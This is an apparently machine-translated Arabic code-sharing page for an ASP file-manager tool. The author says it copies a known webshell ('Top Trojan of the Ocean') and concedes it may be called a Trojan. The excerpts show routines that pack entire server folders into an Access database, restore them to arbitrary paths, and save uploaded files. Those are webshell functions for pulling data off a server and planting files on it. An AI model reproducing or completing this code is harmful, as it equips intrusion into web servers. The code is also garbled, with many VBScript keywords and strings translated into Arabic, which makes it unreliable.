الصفحة الرئيسية>كود مصدر ASP>بيانات الملف
لا توجد موارد
هذا هو متصفح ملفات FSO مكتوب باستخدام كائنات مجموعة FSO (إذا كنت تصر على القول بأنه حصان طروادة، فليس لدي أي اعتراض). من الناحية الوظيفية، فهو يقلد تصميم "Top Trojan of the Ocean"، ولكن تمت إعادة كتابة الكود بالكامل استخدام مكونات مثل Shell.Application التي يمكن أن تتسبب بسهولة في القتل العرضي بواسطة برامج مكافحة الفيروسات. هناك العديد من الأدوات المشابهة على الإنترنت، وقيمة استخدام هذه الأداة ليست كبيرة جدًا، ولكن العديد من الأكواد الموجودة بها تعتبر مكتوبة بشكل جيد.

تشمل الميزات الرئيسية ما يلي:

عرض معلومات القرص، وتصفح ملفات القرص، والعمل بطريقة مشابهة لمستكشف Windows، مثل إنشاء الملفات النصية وحذفها وإعادة تسميتها ونسخها ونقلها وعمليات تحرير الملفات النصية الأساسية الأخرى.
يعمل تنزيل ملف وضع الدفق على تبسيط وتحسين تعبئة/تفريغ ملف التحميل الخالي من المكونات. يمكن تعبئة/تفريغ المجلد بالكامل.

مقتطف الكود:

1. جزء تعبئة/تفريغ الملف

  1. ============================================================================================================ ============
  2. تغليف الملفات
  3. الحزمة الفرعية ( ByVal FPath، ByVal sDbPath)
  4. Server.ScriptTimeOut=900
  5.      خافت DbPath
  6.      إذا كان اليمين (sDbPath,4)= ".mdb"   ثم
  7. DbPath=sDbPath
  8.      آخر
  9. DbPath=sDbPath ".mdb"
  10.      نهاية   لو
  12.      إذا كان oFso.FolderExists(DbPath) إذن
  13. EchoBack "لا يمكن إنشاء ملف قاعدة البيانات!" &Replace(DbPath, ""، \")
  14.          مخرج   الفرعية
  15.      نهاية   لو
  16.      إذا كان oFso.FileExists(DbPath) إذن
  17. oFso.DeleteFile DbPath
  18.      نهاية   لو
  20.      إذا IsFolder(FPath) ثم
  21. RootPath=GetParentFolder(FPath)
  22.          إذا كان Right(RootPath,1)<> "" ثم RootPath=RootPath&" "
  23.      آخر
  24. EchoBack "الرجاء إدخال مسار المجلد!"
  25.          مخرج   الفرعية
  26.      نهاية   لو
  28.      خافت oCatalog، connStr، DataName
  29.      تعيين conn=Server.CreateObject( "ADODB.Connection" )
  30.      قم بتعيين oStream=Server.CreateObject( "ADODB.Stream" )
  31.      قم بتعيين oCatalog=Server.CreateObject( "ADOX.Catalog" )
  32.      تعيين rs=Server.CreateObject( "ADODB.RecordSet" )
  33.      على   خطأ   سيرة ذاتية   التالي
  34. connStr = "Provider=Microsoft.Jet.OLEDB.4.0; مصدر البيانات =" & DbPath
  35. oCatalog.Create connStr
  36.      إذا أخطأت ثم
  37. EchoBack "لا يمكن إنشاء ملف قاعدة البيانات!" &Replace(DbPath, ""، \")
  38.          مخرج   الفرعية
  39.      نهاية   لو
  40.      تعيين oCatalog = لا شيء
  41. conn.Open connStr
  42. conn.Execute( "إنشاء ملفات جدول (ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED، FilePath VarChar، FileData Image)" )
  43. oStream.Open
  44. oStream.Type=1
  45. rs.Open "الملفات" ، conn،3،3
  46. DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1)
  47. NoPackFiles=Replace(NoPackFiles, "<$datafile>" ,DataName)
  49. قائمة الملفات الفاشلة = ""          قائمة الملفات التي فشلت في حزمها
  50. PackFolderFPath
  51.      إذا FailFilelist = ""   ثم
  52. EchoClose "تم تغليف المجلد بنجاح!"
  53.      آخر
  54. Response.Write "<link rel= stylesheet type= text/css href= ?page=css >"
  55. Response.Write "<Script Language= JavaScript >تنبيه (اكتملت تعبئة المجلد!nالتالي هو قائمة بالملفات التي فشلت في حزمها: );</Script>"
  56. Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
  57.      نهاية   لو
  58. oStream.Close
  59. إغلاق
  60. conn.Close
  61. نهاية   الفرعية
  62. إضافة مجلد (بشكل متكرر)
  63. مجلد الحزمة الفرعية (مسار المجلد)
  64.      لو   ليس IsFolder(FolderPath) إذن   مخرج   الفرعية
  65.      خافت oFolder، sFile، sFolder
  66.      تعيين oFolder=oFso.GetFolder(FolderPath)
  67.      ل   كل ملف موجود في oFolder.Files
  68.          إذا كان InStr(NoPackFiles, "|" &sFile.Name "|" )<1 إذن
  69. PackFile sFile.Path
  70.          نهاية   لو
  71.      التالي
  72.      تعيين sFile = لا شيء
  73.      ل   كل مجلد في oFolder.SubFolders
  74. PackFolder sFolder.Path
  75.      التالي
  76.      تعيين مجلد = لا شيء
  77. نهاية   الفرعية
  78. إضافة ملفات
  79. ملف الحزمة الفرعية (مسار الملف)
  80.      خافت RelPath
  81. RelPath=Replace(FilePath,RootPath, "" )
  82.      الاستجابة.اكتب RelPath و"<br>"
  83.      على   خطأ   سيرة ذاتية   التالي
  84. خطأ.واضح
  85. خطأ = خطأ
  86. oStream.LoadFromFile FilePath
  87. rs.AddNew
  88. rs( "FilePath" )=RelPath
  89. rs( "FileData" )=oStream.Read()
  90. تحديث
  91.      إذا أخطأت ثم
  92.          فشل تغليف الملف
  93. FailFilelist=FailFilelist&FilePath "|"
  94.      نهاية   لو
  95. نهاية   الفرعية
  97. ================================================================================================== ===================================================
  98. تفريغ الملف
  99. فك الحزمة الفرعية (vFolderPath،DbPath)
  100. Server.ScriptTimeOut=900
  101.      خافت FilePath،FolderPath،sFolderPath
  102. FolderPath=vFolderPath
  103. FolderPath=تريم(FolderPath)
  104.      إذا كان منتصف (FolderPath,2,1)<> ":   ثم
  105. EchoBack "تنسيق المسار غير صحيح ولا يمكن إنشاء الدليل!"
  106.          مخرج   الفرعية
  107.      نهاية   لو
  109.      إذا كان اليمين (FolderPath,1)= ""   ثم FolderPath=Left(FolderPath,Len(FolderPath)-1)
  110.      ديم كونستر
  111.      تعيين conn=Server.CreateObject( "ADODB.Connection" )
  112.      قم بتعيين oStream=Server.CreateObject( "ADODB.Stream" )
  113.      تعيين rs=Server.CreateObject( "ADODB.RecordSet" )
  114. connStr = "Provider=Microsoft.Jet.OLEDB.4.0; مصدر البيانات =" & DbPath
  115.      على   خطأ   سيرة ذاتية   التالي
  116. خطأ = خطأ
  117. conn.Open connStr
  118.      إذا أخطأت ثم
  119. EchoBack "خطأ في فتح قاعدة البيانات!"
  120.          مخرج   الفرعية
  121.      نهاية   لو
  122. خطأ = خطأ
  123. oStream.Open
  124. oStream.Type=1
  125. rs.Open "الملفات" ,conn,1,1
  126. قائمة الفشل = ""          مسح قائمة الملفات الفاشلة
  127.      يفعل   حتى روبية.EOF
  128. خطأ.واضح
  129. خطأ = خطأ
  130. FilePath=FolderPath ""&rs(" FilePath")
  131. FilePath=Replace(FilePath, "\"، " ")
  132. sFolderPath=Left(FilePath,InStrRev(FilePath, "" ))
  133.          لو   ليس oFso.FolderExists(sFolderPath) إذن
  134. إنشاء مجلد (sFolderPath)
  135.          نهاية   لو
  136. oStream.SetEos()
  137. oStream.Write rs( "بيانات الملف" )
  138. oStream.SaveToFile FilePath،2
  140.          إذا أخطأت ثم          إضافة عنصر ملف فاشل
  141. FailFilelist=FailFilelist&rs( "FilePath" ).Value "|"
  142.          نهاية   لو
  144. rs.MoveNext
  145.      حلقة
  146. إغلاق
  147.      تعيين RS = لا شيء
  148. conn.Close
  149.      تعيين كون = لا شيء
  150.      اضبط oStream = لا شيء
  151.      إذا FailFilelist = ""   ثم
  152. EchoClose "تم تفريغ الملف بنجاح!"
  153.      آخر
  154. Response.Write "<link rel= stylesheet type= text/css href= ?page=css >"
  155. Response.Write "<Script Language= JavaScript >تنبيه (اكتملت عملية تعبئة المجلد!nالتالي هو قائمة بالملفات التي فشلت في تجميعها، يرجى التحقق منها)؛</Script>"
  156. Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
  157.      نهاية   لو
  158. نهاية   الفرعية
  159. ================================================================================================== ===================================================

2. جزء تحميل الملف (ملف واحد):

  1. احفظ الملف الذي تم تحميله
  2. Sub Saveupload ( ByVal FolderName)
  3.      لو   ليس IsFolder(FolderName) ثم
  4. EchoClose "لم يتم تحديد مجلد تحميل!"
  5.          مخرج   الفرعية
  6.      نهاية   لو
  7.      مسار خافت ،
  8. مسار IsOverWrite = اسم المجلد
  9.      إذا كان Right(Path,1)<> "" ثم Path=Path&" "
  10. FileName=Replace(Request( "filename" ), ""، " ")
  11.      إذا كان Len(FileName)<1 ثم
  12. EchoBack "الرجاء تحديد الملف وإدخال اسم الملف!"
  13.          مخرج   الفرعية
  14.      نهاية   إذا كان
  15. المسار = المسار
  16.      إذا كان LCase(Request( "overwrite" ))= "true"   ثم
  17. IsOverWrite = صحيح
  18.      وإلا
  19. IsOverWrite = خطأ
  20.      نهاية   لو
  21.      على   خطأ   سيرة ذاتية   التالي
  22.      استدعاء MyUpload(المسار،IsOverWrite)
  23.      إذا حدث خطأ ، فإن
  24. EchoBack "فشل تحميل الملف! (قد يكون الملف موجودًا بالفعل)"
  25.      آخر
  26. EchoClose "تم تحميل الملف بنجاح!n" & Replace(fileName, "", " \")
  27.      نهاية   إذا
  28. النهاية  
  29. الكود الأساسي لتحميل الملف
  30. الفرعي
  31. Sub MyUpload(FilePath,IsOverWrite)
  32.      Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
  33. RequestSize=Request.TotalBytes
  34.      إذا كان حجم الطلب <1 ثم   مخرج   الفرعية
  35.      قم بتعيين oStream=Server.CreateObject( "ADODB.Stream" )
  36.      قم بتعيين tStream=Server.CreateObject( "ADODB.Stream" )
  37.      مع oStream
  38. .Type=1
  39. .Mode=3
  40. .Open
  41. .Write=Request.BinaryRead(RequestSize)
  42. .Position=0
  43. sData=.Read
  44. bCrLf=ChrB(13)&ChrB(10)
  45. iSpaceEnd=InStrB(sData,bCrLf)-1
  46. sSpace =LeftB(sData,iSpaceEnd)
  47. iInfoStart=iSpaceEnd+3
  48. iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
  49. iFileStart=iInfoEnd+5
  50. iFileEnd=InStrB(iFileStart,sData,sSpace)-3
  51. sData= ""      مسح بيانات الملف
  52. iFileSize=iFileEnd-iFileStart+1
  53. tStream.Type=1
  54. tStream.Mode=3
  55. tStream.Open
  56. .Position=iFileStart-1
  57. .CopyTo tStream,iFileSize
  58.          إذا IsOverWrite ثم
  59. tStream.SaveToFile FilePath،2
  60.          آخر
  61. tStream.SaveToFile FilePath
  62.          نهاية   إذا كان
  63. tStream.Close
  64. .Close
  65.      نهاية   مع
  66.      SettStream = لا شيء
  67.      اضبط oStream= لا شيء
  68. ينتهي   الفرعية

 
يوسع
معلومات إضافية
تطبيقات ذات صلة
نوصي لك
أخبار ذات صلة الكل